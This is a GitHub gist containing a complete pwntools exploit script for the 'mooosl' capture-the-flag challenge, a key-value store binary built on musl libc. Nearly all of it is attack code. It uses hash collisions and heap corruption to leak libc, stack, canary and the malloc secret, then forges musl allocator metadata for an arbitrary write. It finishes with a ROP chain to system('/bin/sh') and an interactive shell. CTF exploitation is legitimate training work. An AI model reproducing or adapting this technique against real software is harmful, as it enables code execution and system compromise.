Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hkraw/0a434ecfadcf63bada240aff011bd0e3 to your computer and use it in GitHub Desktop.
Save hkraw/0a434ecfadcf63bada240aff011bd0e3 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
from pwn import *
from binascii import hexlify, unhexlify
context.update(arch='amd64', os='linux')
# helpers
def store(key, keySize, value, valueSize):
io.sendlineafter('option: ','1')
io.sendlineafter('key size: ',str(keySize))
if key:
io.sendlineafter('key content: ',key)
io.sendlineafter('value size: ',str(valueSize))
io.sendlineafter('value content: ',value)
def query(keyContent, keySize):
io.sendlineafter('option: ','2')
io.sendlineafter('key size: ',str(keySize))
if keyContent:
io.sendlineafter('key content: ', keyContent)
return io.recvline().split(b':')
def delete(keyContent, keySize):
io.sendlineafter('option: ','3')
io.sendlineafter('key size: ', str(keySize))
if keyContent:
io.sendlineafter('key content: ',keyContent)
def hash(keyContent):
fhash = 0x7e5
j = 0
while(len(keyContent) > j):
f = (fhash * 0x13377331)&0xffffffff
fhash = f + ord(keyContent[j])
j += 1
return fhash
# struct
'''
struct block {
char* key;
char* value;
uint64_t keyLen;
uint64_t valueLen;
uint64_t hash;
struct block* next;
};
'''
# offsets musl libc 2.31 ( ubuntu ) (╯°□°)╯︵ ┻━┻
offset_libc_leak = 0xb7660
environ = 0xb6d20
malloc_secret = 0xb4ac0
HASH_COLLISION_KEY1 = 'KH'
HASH_COLLISION_KEY2 = b'HH\xff\xe4'
gdbscript = '''
source musl_gdb.py
# breakrva 0x2AB1B libc
# b malloc
# b free
# b calloc
continue
'''
# Expl
if __name__=='__main__':
if args.GDB:
io = gdb.debug('./mooosl', gdbscript=gdbscript)
else:
io = process('./mooosl')
#io = remote('mooosl.challenges.ooo', 23333)
store('LL',0x50,'A', 0x50) #1
store('KH',0x50,'A'*0x2f,0x30) #2
store('HH\xff\xe4',0x50, 'B', 0x30) #3
delete('KH',0x40)
delete('HH\xff\xe4',0x40)
delete('LL',0x40)
store('HH\xff\xe4',0x50,p64(0)*2 + p64(0)*2 + p64(0x7e5),0x40)
store(None,0,'A',0x50)
store('\x26\x24\x21\x0b\xaa',0x6,'HK',0x40)
delete(None, 0)
delete('\x26\x24\x21\x0b\xaa',0x40)
delete('HH\xff\xe4',0x40)
store('AAAA', 0x30, 'BBBB', 0x30)
store('KKKK', 0x30, 'EEEE', 0x30)
store('FFFF', 0x300, 'PPPP', 0x300)
store('QQQQ', 0x10, p64(0)*2 + p64(0)*2 + p64(0x7e5), 0x30)
delete(None, 0)
for i in range(6):
store(f'OOOO{i}', 0x50, 'HH\xff\xe4', 0x50)
mmap_leak = u64(unhex(query('QQQQ',10)[1][0:16]))
libc_base = mmap_leak - offset_libc_leak
print(f'[*] MMAP Heap Leak: {hex(mmap_leak)}')
print(f'[*] Libc base: {hex(libc_base)}')
delete('OOOO5',10)
fake_block = [
mmap_leak - 0x390, libc_base + environ,
4, 0x10,
hash('HH\xff\xe4')
]
query(flat(fake_block, arch='amd64'), 0x30)
stack_leak = u64(unhex(query('HH\xff\xe4',10)[1][:16]))
print(f'[*] Stack Leak: {hex(stack_leak)}')
store('KEKW',10,'KEKW',10)
delete('QQQQ',10)
fake_block_2 = [
mmap_leak - 0x390, libc_base + malloc_secret, #arbitrary address ( delete / leak )
4, 0x10,
hash('HH\xff\xe4')
]
store('QQQQ',0x10,flat(fake_block_2,arch='amd64'),0x30)
secret = u64(unhex(query('HH\xff\xe4', 10)[1][:16]))
print(f'[*] Malloc Secret: { hex(secret) }')
delete('QQQQ',10)
fake_block_3 = [
mmap_leak - 0x390, libc_base + environ + 8,
4, 0x10,
hash('HH\xff\xe4')
]
store('QQQQ',0x10,flat(fake_block_3, arch='amd64'),0x30)
stack_canary = u64(unhex(query('HH\xff\xe4',10)[1][:16]))
print(f'[*] Canary: {hex(stack_canary)}')
delete('QQQQ',10)
fakeStruct_start = libc_base - 0x7000 + 0x20
fakeArea_start = fakeStruct_start + (0x1000-0x20)#0xfe0
fakeArea = flat([
secret, 0,
0,
])
def a_clz_32(n):
for i in range(31, -1, -1):
if n&(1<<i):
return i
size_classes = [
1, 2, 3, 4, 5,
6, 7, 8, 9,
10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
]
def size_to_class(n):
IB = 4
n = (n+IB-1)>>4
if n < 10:
return n
n += 1
i = (28-a_clz_32(n))*4 + 8
if n > size_classes[i+1]:
i += 2
if n > size_classes[i]:
i += 1
return i
fakeChunk_length = 0x60
sc = size_to_class(fakeChunk_length)
fakeMeta_start = fakeArea_start + 0x100
fakeGroup_start = fakeMeta_start + 0x100
fakeGroup = flat([
fakeMeta_start, 2
])
fakeMeta = flat([
0, 0,
fakeGroup_start, 0,
4 | 1 << 5 | sc << 6
])
index = 1
offset = size_classes[sc]*index
index = 5 << 5 | index
fakeUser_offset = offset*0x10
fakeUser_start = fakeGroup_start + fakeUser_offset
fakeUserChunk = flat([
0, p32(offset) + p8(0) + p8(index) + p16(offset),
b'\x00'*fakeChunk_length,
0, p32(fakeChunk_length) + p32(0)
])
fakeStruct = flat({
0xfe0: {
0x0: fakeArea,
0x100: fakeMeta,
0x200: fakeGroup,
0x200+fakeUser_offset: fakeUserChunk
}
# [
# 0, 0xdc, #0x10
# fakeStruct_start + 0x80, 0x0000c00000000000, #0x20
# fakeStruct_start + 0xa0, 0x0000a00000000006, #0x30
# b'A'*(0x7 * 8), 0,#0x70
# b'A'*0x10, #0x80
# 0, 0,
# fakeStruct_start + 0x10, 0,
# 0, 0,
# fakeStruct_start + 0x20
# ]
},arch='amd64')
fake_block_2 = [
mmap_leak - 0x390, fakeUser_start + 0x10, #arbitrary address to free
4, 0x10,
hash('HH\xff\xe4')
]
store('QQQQ',0x10,flat(fake_block_2,arch='amd64'),0x30)
print(f'[*] Fakearea : {hex(fakeArea_start)}')
print(f'[*] Fakemeta : {hex(fakeMeta_start)}')
print(f'[*] Fakegroup : {hex(fakeGroup_start)}')
print(f'[*] Fakechunk : {hex(fakeUser_start)}')
store('QQQE',0x10, fakeStruct, 0x2000 )
delete('HH\xff\xe4', 10) # free fake chunk
# pause()
libc_malloc_replaced = libc_base + 0xB6F84
target_addr = libc_malloc_replaced + 4
fakeChunk_length = 0x60
def craftFakeChunk(target_addr, padding_offset):
# fake chunk is returned in size 0x50
delete('QQQE', 0x10)
sc = size_to_class(fakeChunk_length)
fakeMeta_start = fakeArea_start + 0x100
fakeGroup_start = fakeMeta_start + 0x100
fakeGroup = flat([
fakeMeta_start, 2
])
index = 1
avail_mask = 0xffffffff# ^ (1<<index)
fakeMeta = flat([
0, 0,
target_addr - 0x10, p32(avail_mask) + p32(0),
4 | 1 << 5 | sc << 6
])
offset = size_classes[sc]*index
index = 5 << 5 | index
fakeUser_offset = offset*0x10
fakeUser_start = fakeGroup_start + fakeUser_offset
fakeUserChunk = flat([
0, p32(offset) + p8(0) + p8(index) + p16(offset),
b'\x00'*fakeChunk_length,
0, p32(fakeChunk_length) + p32(0)
])
fakeStruct = flat({
0xfe0: {
0x0: fakeArea,
0x100: fakeMeta,
0x200: fakeGroup,
0x200+fakeUser_offset: fakeUserChunk
}
})
store('QQQE',0x10, fakeStruct[padding_offset:], 0x2000 )
craftFakeChunk(target_addr, 0x10)
allocate = '1\n' + str(0x70)+'\n' + 'HK\n' + str(0x20000)+'\n' + 'HK\n'
remove = '3\n' + str(0x70)+'\n' + 'HK\n'
final = (allocate + remove) * 254
io.send(final)
store('ASD', 0x10, '', fakeChunk_length)
target_addr = stack_leak - (0x118-0x70) - 0x10
craftFakeChunk(target_addr, 0)
io.sendlineafter('option: ','2')
io.sendafter('key size: ', (str(fakeChunk_length).encode() + b'\x00').ljust(16, b'A'))
L_ROP = flat([
libc_base + 0x152a1, #pop rdi ; ret
libc_base + 0xb21d7, #/bin/sh
libc_base + 0x00000000000152a2, # ret;
libc_base + 0x50a90 #system
])
io.sendlineafter('key content: ', b'A'*8 + L_ROP)
io.sendline('echo HKHKHKHK')
io.recvuntil('HKHKHKHK\n')
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment